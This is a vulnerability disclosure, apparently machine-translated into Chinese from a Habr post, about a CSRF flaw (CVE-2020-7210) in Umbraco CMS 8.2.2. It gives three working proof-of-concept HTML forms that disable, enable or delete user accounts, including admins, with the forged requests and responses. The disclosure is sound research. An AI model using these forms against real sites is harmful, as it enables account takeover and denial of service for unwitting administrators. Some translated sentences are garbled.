Umbraco CMS的CSRF

跨站点请求伪造可用于向Umbraco CMS内容管理系统发出任意Web请求,并在用户不知情的情况下识别其用户。此类攻击始终需要与用户进行交互,但是通常,受害人只需经过专门准备的链接或访问受攻击者控制的网页就足够了。这样就可以激活,停用或完全删除用户帐户。结果,存在帐户遭受DoS攻击的威胁



背景


在测试少量资源时,在 Umbraco CMS 发现了CSRF -uyazvimost是新鲜此漏洞允许激活,停用或完全删除用户帐户,包括具有管理特权的用户帐户。

尽管在最新的OWASP 2017年度十大报告中,CSRF漏洞仍然是十个最严重的漏洞的列表,但现在将它们打折扣还为时过早。

该漏洞已在版本8.2.2上进行了测试;在8.5版中,此问题已得到修复,但之前的其他版本可能仍然容易受到攻击。强烈建议该产品的用户立即升级到最新的可用版本。

概念证明


如果发生真正的攻击,则以下HTML文档将放置在由攻击者控制的恶意网站上。

示例1:禁用用户的HTML


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

代表受害者发送到服务器的请求:

POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

从服务器收到的响应:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled"}

示例2:启用用户的HTML


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

查询:

POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

回答:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}

示例3:删除用户的HTML


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

查询:

POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

回答:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close

)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}


受害者从服务器收到JSON格式的响应(可单击屏幕)。

经过身份验证的受害者(管理员)访问带有嵌入式恶意HTML的网站后,活动的恶意内容就开始在受害者会话的上下文中执行。尽管没有将这些请求的答案提供给攻击者,但在许多情况下,攻击者足以危及受害者存储在该站点上的信息的完整性,或执行对其他站点的潜在威胁请求。

而不是结论


尽管最近有越来越多的客户端攻击已从服务器端转移到服务器端,但仍然需要给予应有的重视。与客户交谈后,我们迅速联系了软件产品供应商,并收到了有关更正的信息。该漏洞被分配了CVE-2020-7210索引。我承认,对我来说,这是第一个获得CVE索引的漏洞。

Source: https://habr.com/ru/post/undefined/


All Articles